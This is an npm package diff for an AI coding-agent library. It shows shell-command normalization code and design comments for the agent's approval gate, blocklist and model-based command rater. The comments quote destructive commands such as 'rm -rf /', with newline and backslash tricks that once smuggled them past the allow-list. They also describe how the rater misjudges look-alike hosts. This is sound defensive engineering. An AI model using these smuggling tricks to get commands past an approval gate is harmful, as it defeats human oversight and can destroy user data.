@gaunt-sloth/core 2.0.0-alpha.9 → 2.0.0-beta.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.gsloth.review.md +2 -0
- package/README.md +71 -20
- package/dist/config/colour.d.ts +38 -0
- package/dist/config/colour.js +36 -0
- package/dist/config/colour.js.map +1 -0
- package/dist/config/configDiscovery.d.ts +79 -0
- package/dist/config/configDiscovery.js +80 -0
- package/dist/config/configDiscovery.js.map +1 -0
- package/dist/config/defaults.d.ts +20 -20
- package/dist/config/defaults.js +10 -8
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/filesystem-tools.d.ts +41 -0
- package/dist/config/filesystem-tools.js +56 -0
- package/dist/config/filesystem-tools.js.map +1 -0
- package/dist/config/loader.d.ts +171 -19
- package/dist/config/loader.js +1054 -144
- package/dist/config/loader.js.map +1 -1
- package/dist/config/mouse.d.ts +50 -0
- package/dist/config/mouse.js +44 -0
- package/dist/config/mouse.js.map +1 -0
- package/dist/config/profiles.d.ts +68 -0
- package/dist/config/profiles.js +93 -0
- package/dist/config/profiles.js.map +1 -0
- package/dist/config/providerKeys.d.ts +69 -0
- package/dist/config/providerKeys.js +69 -0
- package/dist/config/providerKeys.js.map +1 -0
- package/dist/config/schema.d.ts +2671 -138
- package/dist/config/schema.js +1361 -85
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +899 -111
- package/dist/config/shell-policy.js +800 -70
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/tool-descriptions.d.ts +211 -0
- package/dist/config/tool-descriptions.js +272 -0
- package/dist/config/tool-descriptions.js.map +1 -0
- package/dist/config/types.d.ts +352 -41
- package/dist/config/types.js +1 -0
- package/dist/config/types.js.map +1 -1
- package/dist/config.d.ts +35 -1
- package/dist/config.js +16 -1
- package/dist/config.js.map +1 -1
- package/dist/constants.d.ts +28 -1
- package/dist/constants.js +28 -1
- package/dist/constants.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +166 -11
- package/dist/core/GthAbstractAgent.js +484 -45
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +543 -57
- package/dist/core/GthAgentRunner.js +1494 -140
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.d.ts +117 -2
- package/dist/core/GthLangChainAgent.js +602 -29
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/approvals/annotations.d.ts +122 -0
- package/dist/core/approvals/annotations.js +137 -0
- package/dist/core/approvals/annotations.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +216 -0
- package/dist/core/approvals/grants.js +469 -0
- package/dist/core/approvals/grants.js.map +1 -0
- package/dist/core/approvals/matcher.d.ts +202 -0
- package/dist/core/approvals/matcher.js +267 -0
- package/dist/core/approvals/matcher.js.map +1 -0
- package/dist/core/approvals/mcpSubjects.d.ts +40 -0
- package/dist/core/approvals/mcpSubjects.js +99 -0
- package/dist/core/approvals/mcpSubjects.js.map +1 -0
- package/dist/core/approvals/promptHeader.d.ts +28 -0
- package/dist/core/approvals/promptHeader.js +62 -0
- package/dist/core/approvals/promptHeader.js.map +1 -0
- package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
- package/dist/core/approvals/toolAnnotationSources.js +277 -0
- package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
- package/dist/core/approvals/toolHost.d.ts +46 -0
- package/dist/core/approvals/toolHost.js +108 -0
- package/dist/core/approvals/toolHost.js.map +1 -0
- package/dist/core/debugCapture.d.ts +74 -0
- package/dist/core/debugCapture.js +100 -0
- package/dist/core/debugCapture.js.map +1 -0
- package/dist/core/gthLeanAgentFactory.d.ts +4 -4
- package/dist/core/gthLeanAgentFactory.js +4 -4
- package/dist/core/launchBanner.d.ts +127 -0
- package/dist/core/launchBanner.js +414 -0
- package/dist/core/launchBanner.js.map +1 -0
- package/dist/core/modelLabel.d.ts +19 -0
- package/dist/core/modelLabel.js +26 -0
- package/dist/core/modelLabel.js.map +1 -0
- package/dist/core/plainToolIndication.d.ts +15 -0
- package/dist/core/plainToolIndication.js +174 -0
- package/dist/core/plainToolIndication.js.map +1 -0
- package/dist/core/reasoningBlocks.d.ts +65 -0
- package/dist/core/reasoningBlocks.js +103 -0
- package/dist/core/reasoningBlocks.js.map +1 -0
- package/dist/core/refusal.d.ts +53 -0
- package/dist/core/refusal.js +133 -0
- package/dist/core/refusal.js.map +1 -0
- package/dist/core/runHeader.d.ts +38 -0
- package/dist/core/runHeader.js +42 -0
- package/dist/core/runHeader.js.map +1 -0
- package/dist/core/runStats.d.ts +14 -3
- package/dist/core/runStats.js +48 -3
- package/dist/core/runStats.js.map +1 -1
- package/dist/core/shell/ShellCommandFailedError.d.ts +3 -4
- package/dist/core/shell/ShellCommandFailedError.js +3 -4
- package/dist/core/shell/ShellCommandFailedError.js.map +1 -1
- package/dist/core/shell/abstention.d.ts +88 -0
- package/dist/core/shell/abstention.js +184 -0
- package/dist/core/shell/abstention.js.map +1 -0
- package/dist/core/shell/approvalCapture.d.ts +271 -0
- package/dist/core/shell/approvalCapture.js +108 -0
- package/dist/core/shell/approvalCapture.js.map +1 -0
- package/dist/core/shell/approvalStop.d.ts +123 -0
- package/dist/core/shell/approvalStop.js +269 -0
- package/dist/core/shell/approvalStop.js.map +1 -0
- package/dist/core/shell/arity.d.ts +6 -0
- package/dist/core/shell/arity.js +20 -6
- package/dist/core/shell/arity.js.map +1 -1
- package/dist/core/shell/denylist.d.ts +11 -0
- package/dist/core/shell/denylist.js +37 -0
- package/dist/core/shell/denylist.js.map +1 -0
- package/dist/core/shell/escalationSeverity.d.ts +141 -0
- package/dist/core/shell/escalationSeverity.js +89 -0
- package/dist/core/shell/escalationSeverity.js.map +1 -0
- package/dist/core/shell/framing.d.ts +190 -0
- package/dist/core/shell/framing.js +633 -0
- package/dist/core/shell/framing.js.map +1 -0
- package/dist/core/shell/hardline.d.ts +103 -0
- package/dist/core/shell/hardline.js +780 -0
- package/dist/core/shell/hardline.js.map +1 -0
- package/dist/core/shell/negotiation.d.ts +328 -0
- package/dist/core/shell/negotiation.js +488 -0
- package/dist/core/shell/negotiation.js.map +1 -0
- package/dist/core/shell/normalize.d.ts +44 -4
- package/dist/core/shell/normalize.js +61 -7
- package/dist/core/shell/normalize.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +263 -0
- package/dist/core/shell/openWorld.js +1188 -0
- package/dist/core/shell/openWorld.js.map +1 -0
- package/dist/core/shell/rater.d.ts +873 -0
- package/dist/core/shell/rater.js +1454 -0
- package/dist/core/shell/rater.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +41 -0
- package/dist/core/shell/raterModel.js +51 -0
- package/dist/core/shell/raterModel.js.map +1 -0
- package/dist/core/shell/raterVocabulary.d.ts +121 -0
- package/dist/core/shell/raterVocabulary.js +116 -0
- package/dist/core/shell/raterVocabulary.js.map +1 -0
- package/dist/core/shell/rejection.d.ts +69 -0
- package/dist/core/shell/rejection.js +38 -0
- package/dist/core/shell/rejection.js.map +1 -0
- package/dist/core/toolCallRepair/grammar.d.ts +41 -0
- package/dist/core/toolCallRepair/grammar.js +116 -0
- package/dist/core/toolCallRepair/grammar.js.map +1 -0
- package/dist/core/toolCallRepair/index.d.ts +2 -0
- package/dist/core/toolCallRepair/index.js +7 -0
- package/dist/core/toolCallRepair/index.js.map +1 -0
- package/dist/core/toolCallRepair/payload.d.ts +36 -0
- package/dist/core/toolCallRepair/payload.js +341 -0
- package/dist/core/toolCallRepair/payload.js.map +1 -0
- package/dist/core/toolCallRepair/promote.d.ts +45 -0
- package/dist/core/toolCallRepair/promote.js +90 -0
- package/dist/core/toolCallRepair/promote.js.map +1 -0
- package/dist/core/toolDisplay.d.ts +123 -0
- package/dist/core/toolDisplay.js +451 -0
- package/dist/core/toolDisplay.js.map +1 -0
- package/dist/core/toolOutputChannel.d.ts +95 -0
- package/dist/core/toolOutputChannel.js +165 -0
- package/dist/core/toolOutputChannel.js.map +1 -0
- package/dist/core/types.d.ts +349 -16
- package/dist/core/types.js.map +1 -1
- package/dist/history/historyFormat.d.ts +12 -3
- package/dist/history/historyFormat.js +50 -8
- package/dist/history/historyFormat.js.map +1 -1
- package/dist/history/historyStore.d.ts +77 -0
- package/dist/history/historyStore.js +173 -6
- package/dist/history/historyStore.js.map +1 -1
- package/dist/history/recordSession.d.ts +10 -1
- package/dist/history/recordSession.js +27 -0
- package/dist/history/recordSession.js.map +1 -1
- package/dist/providers/anthropic.js +12 -0
- package/dist/providers/anthropic.js.map +1 -1
- package/dist/providers/configurationPassthrough.d.ts +107 -0
- package/dist/providers/configurationPassthrough.js +148 -0
- package/dist/providers/configurationPassthrough.js.map +1 -0
- package/dist/providers/geminiSchemaSanitizer.d.ts +55 -0
- package/dist/providers/geminiSchemaSanitizer.js +347 -0
- package/dist/providers/geminiSchemaSanitizer.js.map +1 -0
- package/dist/providers/geminiThinking.d.ts +60 -0
- package/dist/providers/geminiThinking.js +92 -0
- package/dist/providers/geminiThinking.js.map +1 -0
- package/dist/providers/google-genai.js +18 -1
- package/dist/providers/google-genai.js.map +1 -1
- package/dist/providers/groq.js +12 -0
- package/dist/providers/groq.js.map +1 -1
- package/dist/providers/huggingface.d.ts +25 -0
- package/dist/providers/huggingface.js +69 -0
- package/dist/providers/huggingface.js.map +1 -0
- package/dist/providers/modelCatalog.d.ts +109 -0
- package/dist/providers/modelCatalog.js +245 -0
- package/dist/providers/modelCatalog.js.map +1 -0
- package/dist/providers/modelDiscovery.d.ts +99 -5
- package/dist/providers/modelDiscovery.js +191 -35
- package/dist/providers/modelDiscovery.js.map +1 -1
- package/dist/providers/ollama.d.ts +18 -4
- package/dist/providers/ollama.js +67 -37
- package/dist/providers/ollama.js.map +1 -1
- package/dist/providers/openai.js +34 -0
- package/dist/providers/openai.js.map +1 -1
- package/dist/providers/openrouter.d.ts +26 -4
- package/dist/providers/openrouter.js +83 -26
- package/dist/providers/openrouter.js.map +1 -1
- package/dist/providers/vertexai.js +19 -1
- package/dist/providers/vertexai.js.map +1 -1
- package/dist/providers/xai.js +20 -0
- package/dist/providers/xai.js.map +1 -1
- package/dist/runtime/askStructured.d.ts +105 -0
- package/dist/runtime/askStructured.js +120 -0
- package/dist/runtime/askStructured.js.map +1 -0
- package/dist/runtime/conversation.d.ts +64 -0
- package/dist/runtime/conversation.js +171 -0
- package/dist/runtime/conversation.js.map +1 -0
- package/dist/runtime/singleShot.d.ts +37 -6
- package/dist/runtime/singleShot.js +113 -67
- package/dist/runtime/singleShot.js.map +1 -1
- package/dist/runtime/structuredOutput.d.ts +104 -0
- package/dist/runtime/structuredOutput.js +393 -0
- package/dist/runtime/structuredOutput.js.map +1 -0
- package/dist/utils/ProgressIndicator.d.ts +21 -0
- package/dist/utils/ProgressIndicator.js +30 -3
- package/dist/utils/ProgressIndicator.js.map +1 -1
- package/dist/utils/aiignoreUtils.js.map +1 -1
- package/dist/utils/binaryOutputUtils.js.map +1 -1
- package/dist/utils/consoleUtils.d.ts +95 -0
- package/dist/utils/consoleUtils.js +112 -2
- package/dist/utils/consoleUtils.js.map +1 -1
- package/dist/utils/crashHandler.d.ts +87 -0
- package/dist/utils/crashHandler.js +128 -0
- package/dist/utils/crashHandler.js.map +1 -0
- package/dist/utils/debugDump.d.ts +134 -0
- package/dist/utils/debugDump.js +381 -0
- package/dist/utils/debugDump.js.map +1 -0
- package/dist/utils/debugUtils.d.ts +13 -4
- package/dist/utils/debugUtils.js +36 -13
- package/dist/utils/debugUtils.js.map +1 -1
- package/dist/utils/displayWidth.d.ts +53 -0
- package/dist/utils/displayWidth.js +195 -0
- package/dist/utils/displayWidth.js.map +1 -0
- package/dist/utils/fileUtils.js.map +1 -1
- package/dist/utils/globalConfigUtils.d.ts +14 -2
- package/dist/utils/globalConfigUtils.js +22 -4
- package/dist/utils/globalConfigUtils.js.map +1 -1
- package/dist/utils/llmUtils.d.ts +39 -8
- package/dist/utils/llmUtils.js +76 -8
- package/dist/utils/llmUtils.js.map +1 -1
- package/dist/utils/redactSecrets.d.ts +63 -0
- package/dist/utils/redactSecrets.js +286 -0
- package/dist/utils/redactSecrets.js.map +1 -0
- package/dist/utils/systemPromptNotes.d.ts +222 -0
- package/dist/utils/systemPromptNotes.js +338 -0
- package/dist/utils/systemPromptNotes.js.map +1 -0
- package/dist/utils/systemUtils.d.ts +18 -1
- package/dist/utils/systemUtils.js +38 -3
- package/dist/utils/systemUtils.js.map +1 -1
- package/dist/utils/toolMatching.d.ts +30 -0
- package/dist/utils/toolMatching.js +44 -0
- package/dist/utils/toolMatching.js.map +1 -0
- package/dist/utils/untrustedText.d.ts +86 -0
- package/dist/utils/untrustedText.js +101 -0
- package/dist/utils/untrustedText.js.map +1 -0
- package/package.json +21 -7
- package/schema/gsloth-config.schema.json +1921 -326
- package/dist/core/shell/allowlist.d.ts +0 -75
- package/dist/core/shell/allowlist.js +0 -187
- package/dist/core/shell/allowlist.js.map +0 -1
- package/dist/core/shell/judge.d.ts +0 -161
- package/dist/core/shell/judge.js +0 -261
- package/dist/core/shell/judge.js.map +0 -1
|
@@ -2,11 +2,11 @@
|
|
|
2
2
|
* @module core/shell/normalize
|
|
3
3
|
*
|
|
4
4
|
* Command-string normalization shared by the shell hardening layer. The hardline
|
|
5
|
-
* blocklist (
|
|
5
|
+
* blocklist (`core/shell/hardline`) and the EXT-9 Tier-2
|
|
6
6
|
* allow-list classifier ({@link ./arity.js}) both match against the *normalized* form so
|
|
7
7
|
* trivial obfuscation (ANSI escapes, fullwidth glyphs, backslash splits, padded
|
|
8
|
-
* whitespace) cannot smuggle a command past the guard. Canonical home is core so
|
|
9
|
-
*
|
|
8
|
+
* whitespace) cannot smuggle a command past the guard. Canonical home is core so every
|
|
9
|
+
* consumer — the allow-list, the hardline floor, the approvals gate — imports one implementation.
|
|
10
10
|
*
|
|
11
11
|
* Patterned after hermes-agent `tools/approval.py:_normalize_command_for_detection`.
|
|
12
12
|
*/
|
|
@@ -19,6 +19,40 @@ const ANSI_OSC = /\x1b\][\s\S]*?(?:\x07|\x1b\\)/g;
|
|
|
19
19
|
const ANSI_LONE = /\x1b[@-Z\\-_]?/g;
|
|
20
20
|
// Null bytes.
|
|
21
21
|
const NULL_BYTES = /\x00/g;
|
|
22
|
+
// Any line ending — CRLF, a lone CR, or a lone LF. Canonicalized to `\n` by normalizeCommand.
|
|
23
|
+
const LINE_ENDINGS = /\r\n?/g;
|
|
24
|
+
// A run of HORIZONTAL whitespace: whitespace that is not a line break (spaces, tabs, NBSP, …).
|
|
25
|
+
const HORIZONTAL_WS = /[^\S\n]+/g;
|
|
26
|
+
// A run of line breaks together with any whitespace around it.
|
|
27
|
+
const LINE_BREAK_RUN = /\s*\n\s*/g;
|
|
28
|
+
/**
|
|
29
|
+
* SECURITY / EXT-55 — the single source of truth for **where a new command begins**.
|
|
30
|
+
*
|
|
31
|
+
* This is a regex character-class BODY (embed it as `` `[${COMMAND_SEPARATOR_CLASS}]` ``) listing
|
|
32
|
+
* every character at which the shell stops one command and starts the next: `;`, `&` (hence
|
|
33
|
+
* `&&`), `|` (hence `||`), and a LINE BREAK. Both consumers of the normalized form build their
|
|
34
|
+
* patterns from it — the allow-list classifier's fail-closed check
|
|
35
|
+
* ({@link import('./arity.js').classifyCommand}) and the hardline blocklist's pattern
|
|
36
|
+
* terminators (`core/shell/hardline`) — so the two layers can never again
|
|
37
|
+
* disagree about what a separator is.
|
|
38
|
+
*
|
|
39
|
+
* The layers disagreed before EXT-55: `;`/`&&`/`|` made a command ambiguous (fail-closed) but a
|
|
40
|
+
* newline did not, because {@link normalizeCommand} folded it to a SPACE. `ls -la\nrm -rf /` was
|
|
41
|
+
* therefore classified as the single command `ls`, and an ordinary `ls` grant auto-approved it.
|
|
42
|
+
*
|
|
43
|
+
* `\r` is listed defensively: {@link normalizeCommand} canonicalizes CR/CRLF to LF, so a
|
|
44
|
+
* normalized string never contains one — but a pattern matched against a RAW command still fails
|
|
45
|
+
* closed.
|
|
46
|
+
*/
|
|
47
|
+
export const COMMAND_SEPARATOR_CLASS = ';&|\\n\\r';
|
|
48
|
+
/** {@link COMMAND_SEPARATOR_CLASS} as a ready-made single-character matcher. */
|
|
49
|
+
export const COMMAND_SEPARATOR_RE = new RegExp(`[${COMMAND_SEPARATOR_CLASS}]`);
|
|
50
|
+
/**
|
|
51
|
+
* Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
|
|
52
|
+
* Exported so a caller can ask "is this more than one command?" of a RAW string without
|
|
53
|
+
* depending on someone else's normalizer having preserved the boundary.
|
|
54
|
+
*/
|
|
55
|
+
export const LINE_BREAK_RE = /[\n\r]/;
|
|
22
56
|
/**
|
|
23
57
|
* Normalize a command string before dangerous-pattern matching.
|
|
24
58
|
*
|
|
@@ -26,9 +60,21 @@ const NULL_BYTES = /\x00/g;
|
|
|
26
60
|
* - strip ANSI escape sequences (CSI / OSC / lone-escape),
|
|
27
61
|
* - drop null bytes,
|
|
28
62
|
* - Unicode NFKC fold (fullwidth `rm` → `rm`, etc.),
|
|
63
|
+
* - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
|
|
29
64
|
* - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
|
|
30
65
|
* - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
|
|
31
|
-
* - fold runs of whitespace (
|
|
66
|
+
* - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
|
|
67
|
+
* - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
|
|
68
|
+
* is a command separator, not padding (EXT-55) — and trim the ends.
|
|
69
|
+
*
|
|
70
|
+
* EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
|
|
71
|
+
* and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
|
|
72
|
+
* consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
|
|
73
|
+
* common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
|
|
74
|
+
*
|
|
75
|
+
* A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
|
|
76
|
+
* it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
|
|
77
|
+
* a command categorically ambiguous, which costs a prompt, not a failure.
|
|
32
78
|
*
|
|
33
79
|
* This is intentionally lossy: the normalized form is ONLY used for detection,
|
|
34
80
|
* never for execution (the original command is what runs).
|
|
@@ -41,13 +87,21 @@ export function normalizeCommand(command) {
|
|
|
41
87
|
c = c.replace(NULL_BYTES, '');
|
|
42
88
|
// Unicode compatibility fold (fullwidth → ASCII, etc.).
|
|
43
89
|
c = c.normalize('NFKC');
|
|
90
|
+
// EXT-55: canonicalize line endings FIRST so CR and CRLF are the same separator as LF for every
|
|
91
|
+
// step below (and for every consumer of the normalized form).
|
|
92
|
+
c = c.replace(LINE_ENDINGS, '\n');
|
|
44
93
|
// Collapse backslash-escapes: `\x` → `x` (prevents `r\m -rf /` bypass).
|
|
45
94
|
// Applied before empty-string stripping so `r\m` and `r''m` both fold.
|
|
95
|
+
// `[^\n]` keeps a backslash line-continuation intact — see the docblock.
|
|
46
96
|
c = c.replace(/\\([^\n])/g, '$1');
|
|
47
97
|
// Drop empty-string literals used to split a token: `r''m` / `r""m` → `rm`.
|
|
48
98
|
c = c.replace(/''|""/g, '');
|
|
49
|
-
// Fold
|
|
50
|
-
c = c.replace(
|
|
51
|
-
|
|
99
|
+
// Fold runs of horizontal whitespace to a single space…
|
|
100
|
+
c = c.replace(HORIZONTAL_WS, ' ');
|
|
101
|
+
// …then collapse each run of line breaks (with the whitespace around it) to a single `\n`,
|
|
102
|
+
// which SURVIVES normalization as the command separator it is (EXT-55).
|
|
103
|
+
c = c.replace(LINE_BREAK_RUN, '\n');
|
|
104
|
+
// Trim the ends — including a leading/trailing break, which separates nothing.
|
|
105
|
+
return c.trim();
|
|
52
106
|
}
|
|
53
107
|
//# sourceMappingURL=normalize.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;
|
|
1
|
+
{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAC3B,8FAA8F;AAC9F,MAAM,YAAY,GAAG,QAAQ,CAAC;AAC9B,+FAA+F;AAC/F,MAAM,aAAa,GAAG,WAAW,CAAC;AAClC,+DAA+D;AAC/D,MAAM,cAAc,GAAG,WAAW,CAAC;AAEnC;;;;;;;;;;;;;;;;;;GAkBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG,WAAW,CAAC;AAEnD,gFAAgF;AAChF,MAAM,CAAC,MAAM,oBAAoB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,GAAG,CAAC,CAAC;AAE/E;;;;GAIG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,QAAQ,CAAC;AAEtC;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,gGAAgG;IAChG,8DAA8D;IAC9D,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,wEAAwE;IACxE,uEAAuE;IACvE,yEAAyE;IACzE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,GAAG,CAAC,CAAC;IAClC,2FAA2F;IAC3F,wEAAwE;IACxE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,cAAc,EAAE,IAAI,CAAC,CAAC;IACpC,+EAA+E;IAC/E,OAAO,CAAC,CAAC,IAAI,EAAE,CAAC;AAClB,CAAC"}
|
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/openWorld
|
|
3
|
+
*
|
|
4
|
+
* EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
|
|
5
|
+
* **host literal in a fetch/transfer position**. A command that carries one is floored at
|
|
6
|
+
* `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
|
|
7
|
+
* so it is always asked about and can never be auto-approved.
|
|
8
|
+
*
|
|
9
|
+
* ## Why this is not a trust judgement, and must never become one
|
|
10
|
+
*
|
|
11
|
+
* §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
|
|
12
|
+
* model and a working developer were measured failing exactly that** — the developer flagged the
|
|
13
|
+
* *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
|
|
14
|
+
* preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
|
|
15
|
+
* about, and no misreading of a hostname can produce an auto-approve.
|
|
16
|
+
*
|
|
17
|
+
* It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
|
|
18
|
+
* attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
|
|
19
|
+
* be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
|
|
20
|
+
* hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
|
|
21
|
+
* therefore before this.
|
|
22
|
+
*
|
|
23
|
+
* ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
|
|
24
|
+
*
|
|
25
|
+
* The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
|
|
26
|
+
* there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
|
|
27
|
+
* misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
|
|
28
|
+
* *asked*. So:
|
|
29
|
+
*
|
|
30
|
+
* - a **false positive costs one prompt** — annoying, recoverable, visible;
|
|
31
|
+
* - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
|
|
32
|
+
* literal, which is the discrimination both a cheap model and a working developer were measured
|
|
33
|
+
* failing.
|
|
34
|
+
*
|
|
35
|
+
* **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
|
|
36
|
+
* it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
|
|
37
|
+
* arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
|
|
38
|
+
* upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
|
|
39
|
+
* a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
|
|
40
|
+
*
|
|
41
|
+
* ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
|
|
42
|
+
*
|
|
43
|
+
* This module answers the host question for **two** callers whose error costs differ, so it has two
|
|
44
|
+
* entry points and they are deliberately not the same function:
|
|
45
|
+
*
|
|
46
|
+
* - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
|
|
47
|
+
* `destructive` with no model in the loop, so it fires only where the parser resolved the whole
|
|
48
|
+
* command. "The parser could not resolve this" is a fact about the checker, not a detection about
|
|
49
|
+
* the command, and this layer floors only what is deterministically known.
|
|
50
|
+
* - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
|
|
51
|
+
* NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
|
|
52
|
+
* outcome by itself.
|
|
53
|
+
*
|
|
54
|
+
* **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
|
|
55
|
+
* WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
|
|
56
|
+
* module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
|
|
57
|
+
* INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
|
|
58
|
+
* attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
|
|
59
|
+
* extractor; that trades a free cost for a silent one.
|
|
60
|
+
*
|
|
61
|
+
* **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
|
|
62
|
+
* flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
|
|
63
|
+
* sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
|
|
64
|
+
* is false on an ordinary command is this node's own named failure mode arriving one layer in: an
|
|
65
|
+
* escalation laundered through the model instead of the parser, unfalsifiable because a note said
|
|
66
|
+
* it. So each flow arm fires only where its claim is **true of the program named**, and everything
|
|
67
|
+
* else falls through to the flowless sentence — which still names the hosts and says outright that
|
|
68
|
+
* the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
|
|
69
|
+
* loss of the layer.
|
|
70
|
+
*
|
|
71
|
+
* **And a flow sentence names EVERY host of the part it describes**, for the reason
|
|
72
|
+
* {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
|
|
73
|
+
* proxy, and a sentence that names the reassuring host while hiding the other is worse than no
|
|
74
|
+
* sentence.
|
|
75
|
+
*
|
|
76
|
+
* ## The shape of the matcher
|
|
77
|
+
*
|
|
78
|
+
* Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
|
|
79
|
+
*
|
|
80
|
+
* 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
|
|
81
|
+
* `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
|
|
82
|
+
* deterministic floor must not claim "it names a host" about a string whose target it could not
|
|
83
|
+
* statically resolve. The note path picks those up instead, by reading the parts.
|
|
84
|
+
* 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
|
|
85
|
+
* 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
|
|
86
|
+
* 4. **Test only the candidate operands** for a host literal.
|
|
87
|
+
*
|
|
88
|
+
* **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
|
|
89
|
+
* zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
|
|
90
|
+
